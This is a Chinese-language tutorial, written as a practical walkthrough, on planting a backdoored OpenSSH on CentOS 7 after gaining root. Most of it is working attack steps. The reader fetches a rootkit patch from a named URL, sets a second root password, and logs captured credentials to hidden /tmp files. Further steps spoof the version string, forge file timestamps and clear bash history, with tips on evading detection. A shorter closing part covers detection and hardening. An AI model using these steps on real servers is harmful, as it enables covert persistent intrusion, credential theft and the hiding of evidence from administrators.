目录
1. Openssh与后门介绍
1.1 Openssh介绍
1.2 Openssh后门介绍
2. 实战演练
2.1 查看版本,注意V是大写的
2.2 下载SSH配置文件
2.3 安装
2.4、修改后⻔密码和⽂件记录
2.5、修改版本号为原本的版本号(伪装openssh)
2.6、修改/etc/ssh中的key
2.7、安装所需环境与配置源
2.8、伪造文件时间属性(访问和修改时间)
2.9、重启服务
2.10、验证是否好用
2.11.后门痕迹清除
3.应急响应与加固
3.1 应急响应
3.1.1查看ssh配置文件和/usr/sbin/sshd的时间
3.1.2 查看安全登录成功的ssh日志
3.1.3 strace监控sshd进程读写文件的操作
3.2 防御加固
3.2.1 重装openssh,更新到最新版本
3.2.2 将SSH默认端口改为其他端口
3.2.3 IPTable中添加SSH访问策略
1. Openssh与后门介绍
当拿到root权限后,一般需要维持权限(留后门),可以创建一个openssh后门,也就是root双密码,管理员一个密码,我们的后门一个密码。下面是对Openssh与Openssh后门的介绍:
1.1 Openssh介绍
OpenSSH 是 SSH(Secure Shell)协议的免费开源实现,它用于安全远程连接和计算机管理,通过加密技术保障通信安全。OpenSSH 的主要功能包括远程登录、命令执行、文件传输和端口转发等。它包含客户端和服务器两部分,客户端用于连接远程服务器,而服务器则在远程服务器上运行,接受客户端的连接请求。OpenSSH 最初是为 Linux 系统开发的,但现在也支持包括 Windows 和 macOS 在内的多种操作系统。
1.2 Openssh后门介绍
是指在获取了系统权限后,攻击者通过修改或更新 OpenSSH 代码,截取并保存 SSH 登录账号和密码,或者留下一个隐形的后门,以达到长期控制服务器的目的。这种后门难以检测,因为它通常隐藏在正常的 SSH 服务之中,使得攻击者可以在不被发现的情况下访问系统。
2. 实战演练
本次测试的镜像环境为:Centos7系统
2.1 查看版本,注意V是大写的
ssh -V
可以对ssh备份配置文件,可以对后期的文件时间进行修改,这里直接复制粘贴就行了,就是复制config文件,复制为备份
cp -p /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
2.2 下载SSH配置文件
此处需要准备下面两个文件来完成
官网:http://www.openssh.com/
openssh-5.9p1.tar.gz (注意不要下载没有p1的文件,适配系统不同,下载错误后,后续打补丁会失败) openssh-5.9p1.patch.tar.gz
这里有个坑点:
-
openssh-9.0.tar.gz(适用于BSD)
-
openssh-9.0p1.tar.gz(适用于Linxu)我们使用的Centos7是linux的
# 通过阿里镜像站进行下载
https://mirrors.aliyun.com/openssh/portable/openssh-5.9p1.tar.gz
# 后门文件下载地址
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
2.3 安装
上传方法:中国蚁剑,远控工具Xshell,FinalShell工具等
这里我链接使用使用的是SSH远程连接,这里我是使用管理员进行连接,然后将文件上传到桌面
# 输入命令依次解压
tar -zxvf openssh-5.9p1.tar.gz
tar -zxvf openssh-5.9p1.patch.tar.gz
将openssh-5.9p1.patch
中的sshbd5.9p1.diff
(后门文件)复制到openssh-5.9p1
中
# 这里可以通过远控工具手动复制过去,也可通过命令对应文件复制过去
cp ./openssh-5.9p1.patch/sshbd5.9p1.diff ./openssh-5.9p1/sshbd5.9p1.diff
如果没有安装path的话,通过下面的命令进行安装
yum -y install patch
在openssh-5.9p1
中执行打补丁(其实)
patch < sshbd5.9p1.diff
2.4、修改后⻔密码和⽂件记录
可以修改后门密码和记录文件,文件前面加 .
相当于隐藏文件,也可以修改个隐蔽目录
在openssh-5.9p1
中执行下面的操作,当然用远控工具的话,直接打开文件修改更方便
# 1、编辑includes
vi includes.h
# 2、修改ILOG,OLOG,SECRETPW(这部分在文件的末尾,直接修改下面的#部分)
int secret_ok;
FILE *f;
#define ILOG "/tmp/.ilog" # 记录登录到本机的登录凭证(可以改为较为隐蔽的路径,此例在tmp下创建隐藏文件)
#define OLOG "/tmp/.olog" # 记录本机登录到远程的的登录凭证
#define SECRETPW "xiaoyu" # 远程连接密码
#endif /* INCLUDES_H */
修改前
修改后,当然实战操作的时候,注释别加容易被识别出来
注意下面不要将 #后的注释内容加进去,不然会在编译时出现报错
2.5、修改版本号为原本的版本号(伪装openssh)
原则:修改为与我们刚才查看的版本信息一致,使其不易被发现。
ssh -V
vi version.h
# 修改为当前OpenSSH的版本号
#define SSH_VERSION "OpenSSH_7.4p1"
#define SSH_PORTABLE "p1"
修改如图所示的版本信息,修改前
修改后
2.6、修改/etc/ssh中的key
对/etc/ssh⾥⾯的⼏个key的权限进⾏修改,否则进⾏编译的时候会因为key不能修改⽽报错。
chmod 620 moduli
chmod 600 /etc/ssh/ssh_host_ed25519_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
chmod 600 /etc/ssh/ssh_host_rsa_key
2.7、安装所需环境与配置源
# 切换到安装文件所在路径
cd /root/桌面/openssh-5.9p1
# 在进行依赖安装之前,需要进行源的更换的
# 必备依赖刷一波,避免编译时出现各种坑爹问题
yum install -y openssl openssl-devel pam-devel
# 执行预编译
./configure --prefix=/usr --sysconfdir=/etc/ssh、make && make install
在安装必备依赖前需要更换的源为国内源,不然安装依赖会报错的
直接在系统中创建一个shell文件(choise-yuan.sh),然后通过增加运行权限
chmod +x choise-yuan.sh
./choise-yuan.sh # 执行shell
#!/bin/bash
# 定义颜色
RED='\033[0;31m'
GREEN='\033[0;32m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色
# 定义YUM源选项
echo -e "${BLUE}请选择要更换的YUM源(默认使用阿里源):${NC}"
echo -e "${BLUE}1) 阿里YUM源: http://mirrors.aliyun.com/repo/${NC}"
echo -e "${BLUE}2) 163(网易)YUM源: http://mirrors.163.com/.help/${NC}"
echo -e "${BLUE}3) 中科大Linux安装镜像源: http://centos.ustc.edu.cn/${NC}"
echo -e "${BLUE}4) 搜狐的Linux安装镜像源: http://mirrors.sohu.com/${NC}"
echo -e "${BLUE}5) 北京首都在线科技: http://mirrors.yun-idc.com/${NC}"
read -p "请输入选项 [1-5] (默认1): " choice
# 根据选择设置URL
case $choice in
2)
repo_url="http://mirrors.163.com/.help/CentOS7-Base-163.repo"
;;
3)
repo_url="http://centos.ustc.edu.cn/CentOS-Base.repo"
;;
4)
repo_url="http://mirrors.sohu.com/help/CentOS-Base-sohu.repo"
;;
5)
repo_url="http://mirrors.yun-idc.com/CentOS-Base.repo"
;;
*)
repo_url="http://mirrors.aliyun.com/repo/Centos-7.repo"
;;
esac
# 备份当前的YUM源配置文件
if [ -f /etc/yum.repos.d/CentOS-Base.repo ]; then
sudo cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak
echo -e "${GREEN}已备份当前的YUM源配置文件到 /etc/yum.repos.d/CentOS-Base.repo.bak${NC}"
else
echo -e "${RED}未找到 /etc/yum.repos.d/CentOS-Base.repo 文件,跳过备份步骤${NC}"
fi
# 下载选定的YUM源配置文件
sudo wget -O /etc/yum.repos.d/CentOS-Base.repo $repo_url
if [ $? -eq 0 ]; then
echo -e "${GREEN}成功下载选定的YUM源配置文件${NC}"
else
echo -e "${RED}下载选定的YUM源配置文件失败,请检查网络连接${NC}"
exit 1
fi
# 清除YUM缓存并生成新的缓存
sudo yum clean all
sudo yum makecache
# 验证新的YUM源配置是否成功
sudo yum repolist -y
if [ $? -eq 0 ]; then
echo -e "${GREEN}新的YUM源配置成功${NC}"
else
echo -e "${RED}新的YUM源配置失败,请检查YUM源配置文件${NC}"
exit 1
fi
# 下载并配置EPEL源
sudo wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
if [ $? -eq 0 ]; then
echo -e "${GREEN}成功下载并配置EPEL源${NC}"
else
echo -e "${RED}下载EPEL源失败,请检查网络连接${NC}"
exit 1
fi
echo -e "${GREEN}YUM源更换并配置EPEL源成功${NC}"
# 提示用户是否需要进行系统更新
read -p "是否需要进行系统更新(默认不更新)?[y/N]: " update_choice
if [[ "$update_choice" =~ ^[Yy]$ ]]; then
sudo yum upgrade -y
if [ $? -eq 0 ]; then
echo -e "${GREEN}依赖包更新成功${NC}"
else
echo -e "${RED}依赖包更新失败${NC}"
fi
else
echo -e "${GREEN}跳过系统更新${NC}"
fi
预编译操作
出现下面的秘钥就是成功了
2.8、伪造文件时间属性(访问和修改时间)
(这部可加不可加,实战情况下加了更难进行排查)
# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak
2.9、重启服务
systemctl restart sshd.service
如果出现运行命令后卡主了,也不用管,直接Ctrl+C终止就可以了
2.10、验证是否好用
后门密码登录,这里通过finalShell进行远程链接
或者通过ssh连接 ssh root@192.168.10.15 然后输入后门密码xiaoyu就成功了
但是这里我发了一个这个后门的问题,通过直接登录是可以通过root用户登录的,但是通过ssh远程连接时,通过ssh远程链接的话是无法连接的
2.11.后门痕迹清除
touch -r 老文件时间戳 新文件时间戳
touch -r /etc/ssh/ssh_config.bak / etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.bak / etc/ssh/sshd_config
伪造文件时间属性
# 将前面文件的时间属性改为后面的文件属性
touch -r /etc/ssh/moduli /etc/ssh.bak/moduli
touch -r /etc/ssh/ssh_config /etc/ssh.bak/ssh_config
touch -r /etc/ssh/sshd_config /etc/ssh.bak/sshd_config
touch -r /etc/ssh/ssh_host_dsa_key /etc/ssh.bak/ssh_host_dsa_key
touch -r /etc/ssh/ssh_host_dsa_key.pub /etc/ssh.bak/ssh_host_dsa_key.pub
touch -r /etc/ssh/ssh_host_ecdsa_key /etc/ssh.bak/ssh_host_ecdsa_key
touch -r /etc/ssh/ssh_host_ecdsa_key.pub /etc/ssh.bak/ssh_host_ecdsa_key.pub
touch -r /etc/ssh/ssh_host_ed25519_key /etc/ssh.bak/ssh_host_ed25519_key
touch -r /etc/ssh/ssh_host_ed25519_key.pub /etc/ssh.bak/ssh_host_ed25519_key.pub
touch -r /etc/ssh/ssh_host_rsa_key /etc/ssh.bak/ssh_host_rsa_key
touch -r /etc/ssh/ssh_host_rsa_key.pub /etc/ssh.bak/ssh_host_rsa_key.pub
touch -r /usr/sbin/sshd /usr/sbin/sshd.bak
touch -r /usr/sbin/sshd-keygen /usr/sbin/sshd-keygen.bak
清除操作日志
echo >/root/.bash_history //清空操作日志
# 同时不要忘了.log相关的记录日志的信息的文件也清除
3.应急响应与加固
这里用我配置好的镜像环境为例,如何去应急和解决后门的问题,首先这里我用finalshell远程连接工具通过后门进行连接,方便后续的观察,后门密码为xiaoyu
3.1 应急响应
如果已知为openssh后门的话,那基本上就是去重点观察整个openssh后门过程中修改的文件就可以了,如果不知道的话,也可以围绕着这个过程去进行应急响应
3.1.1查看ssh配置文件和/usr/sbin/sshd的时间
重点检查文件其权限和修改时间,看是否有任何异常。如果 `sshd` 的修改时间与系统更新或维护时间不符,说明存在被未授权的的改动了
# 用于显示关于文件或文件系统的状态的详细信息
stat /usr/sbin/sshd
# 详细信息分别代表什么
文件大小:显示文件的总大小。
块大小:文件系统分配给文件的块的大小。
总块数:文件占用的块数量。
inode 号:文件的索引节点(inode)编号,每个文件在文件系统中都有一个唯一的 inode。
权限:显示文件的权限,例如是否可读、可写、可执行。
所有者和组:文件的所有者和所属组。
最后修改时间:文件内容上次被修改的时间。
最后访问时间:文件上次被访问的时间。
最后状态改变时间:文件的元数据(如权限或所有权)上次被修改的时间。
当然除了时间的话还是不能够狠明显的判别的,因为就像前面的写的创建后门那样,攻击者可能会进行伪造文件的属性,这样就无法判别了,这时候我们就需要通过查看被常见修改的ssh配置文件以及配置文件的修改时间,或者查看攻击者是否有遗留的补丁或是文件
# 这里可以通过查看以下文件的最后一次被修改的时间
# 因为在后门文件编译过程中,如果对下面的文件进行权限的改动的话,基本确定为Openssh后门了
stat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
stat /etc/ssh/ssh_host_ed25519_key
stat /etc/ssh/ssh_host_rsa_key
stat /etc/ssh/ssh_host_ed25519_key
# 重点查看下面的文件,是否有没有被修改过,修改了什么
stat /root/桌面/openssh-5.9p1/includes.h
cat includes.h
stat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
stat /etc/ssh/sshhosted25519_key
stat /etc/ssh/sshhostrsa_key
stat /etc/ssh/sshhosted25519_key
这个文件需要找到安装openssh文件的位置进行查看,文件状态
stat /root/桌面/openssh-5.9p1/includes.h
cat /root/桌面/openssh-5.9p1/includes.h
openssh后门信息一般在文件的末尾写着
3.1.2 查看安全登录成功的ssh日志
# more的命令和cat类似都是查看文件,但是more是一行一行展示
# grep Accepted:grep是一个文本搜索工具,用于搜索包含指定模式的行。用它来搜索包含"Accepted"这个词的行。
# |:这是管道符,它将前一个命令的输出作为后一个命令的输入。
# "Accepted"通常出现在SSH服务成功认证并接受用户登录时的日志记录中,下面这个命令是用来查看所有成功的SSH登录尝试。
# 将每一行进行查看,并传入后面的过滤器中,最后将需要的成功登录的展示出来
more /var/log/secure | grep Accepted
通过这条命令,可以进行查看可以登录的用户者的ip及其他信息,当然也有可能被攻击者清除日志
通过排查可疑ip与账号
3.1.3 strace监控sshd进程读写文件的操作
通过strace监控sshd进程读写文件的操作,跟据前面的操作我们知道一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
通过下面的图片所示,存在一个可疑进程
ps axu | grep sshd | grep -v grep
# ps axu:这是一个进程状态(ps)命令的变体,用于显示当前运行的进程信息。(查找隐藏的jianc)
a 表示显示所有与终端会话无关的进程。
x 表示显示没有控制终端的进程。
u 表示以用户易读的格式显示进程信息,包括用户、PID、CPU占用率、内存占用率等。
|:管道符,它将前一个命令的输出作为后一个命令的输入。(就是将查找到的结果传输给下一条命令)
grep sshd:grep 进行过滤,查找存在sshd关键词的进程 查找与SSH守护进程相关的进程
grep -v grep:用于排除包含"grep"这个词的行。-v选项告诉grep命令反向选择,即排除匹配的行。这样做的目的是排除搜索结果中包含grep命令本身的行,因为当我们使用grep搜索"sshd"时,命令行本身也会包含"sshd"。 其实就是排查我们当前进行搜索的这条命令,因为当前操作也算含有sshd这个关键词的
strace -f -F -p 2171 -t -e trace=read,write -s 32 2> /root/桌面/sshd.log
# 通过strace进行跟踪ssh登录密码文件,通过运行下面的命令,然后命令行会卡主,等一会,然后自行Ctrl+C断开
2171 是可疑进程的进程号
/root/桌面/sshd.log 这个根据个人可以替换
其中 -f 表示跟踪由 fork 调用产生的子进程,-F 表示跟踪 vfork 调用,-t 在输出中的每一行前加上时间信息,-e trace=read,write 表示只跟踪 read 和 write 系统调用,-s 32 设置字符串跟踪的最大长度。
# 这里的命令匹配值需要根据具体的情况进行更改
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /root/桌面/sshd.log
grep -E 'write\(6, ".+' /root/桌面/sshd.log
登录尝试完成后,检查 /tmp/sshd.log 文件,使用 grep 命令筛选出包含密码的行。
命令会搜索所有 read 系统调用,其中包含密码数据(通常密码会在内存中以 null 字符终止)。
命令会显示所有 write 系统调用的记录,但不会过滤或特定于密码输入。在实际的 sshd 日志中,密码输入通常不会以明文形式出现
根据上面的一些操作基本确认为openssh后门
3.2 防御加固
知道为openssh后门后,根据前面对后门的部署,我们知道其实就是对openssh打后门补丁,
3.2.1 重装openssh,更新到最新版本
只要将openssh对应的文件进行更新或是重装就可以了
3.2.2 将SSH默认端口改为其他端口
这个也是相同的原理,将端口改变后,原端口的连接会失效
3.2.3 IPTable中添加SSH访问策略
IPTable 策略是一组规则,用于配置 Linux 内核的 Netfilter 防火墙,它控制着进出 Linux 系统的数据包。IPTable 策略定义了如何处理网络流量,包括允许、拒绝或修改数据包的行为。这些策略对于维护系统的网络安全至关重要,因为它们可以限制未经授权的访问、防止网络攻击和确保数据传输的安全。
下面是一些可以参考的配置访问策略的操作,仅供参考,如果需要进行配置的话,还是需要你自己进一步学习操作的
# 1.允许本地回环接口:应该允许本地回环接口(lo)的流量,以确保本地服务的正常运行。
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 2.设置默认策略:通常建议将默认的链策略设置为 DROP,这意味着除非明确允许,否则所有流量都将被拒绝。
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
# 3.允许已建立的和相关的连接:允许已建立的连接和相关的连接,以确保正在进行的通信不受影响。
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# 4.允许 SSH 连接:允许特定 IP 地址或地址范围通过 SSH 端口(默认为 22)进行连接。你可以指定单个 IP 地址或使用子网掩码来指定一个 IP 范围。
iptables -A INPUT -p tcp --dport 22 -s 允许的IP地址 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 允许的IP范围/子网掩码 -j ACCEPT
# 5.拒绝其他 SSH 连接:在允许特定 IP 地址之后,可以添加一条规则来拒绝所有其他未授权的 SSH 连接。
iptables -A INPUT -p tcp --dport 22 -j DROP
# 6.允许外出 SSH 连接:如果你的服务器需要主动发起 SSH 连接到其他服务器,你还需要允许从服务器出去的 SSH 连接。
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
# 7.保存 IPTable 规则:在 Debian 系的系统上,你可以使用 iptables-persistent 包来保存规则,使其在重启后依然有效。
sudo apt-get install iptables-persistent
sudo netfilter-persistent save
# 8.日志记录:为了安全审计和监控,你可以将可疑的 SSH 连接尝试记录到日志文件中。
iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH login attempt: "
# 9.备份规则
iptables-save > /etc/iptables.backup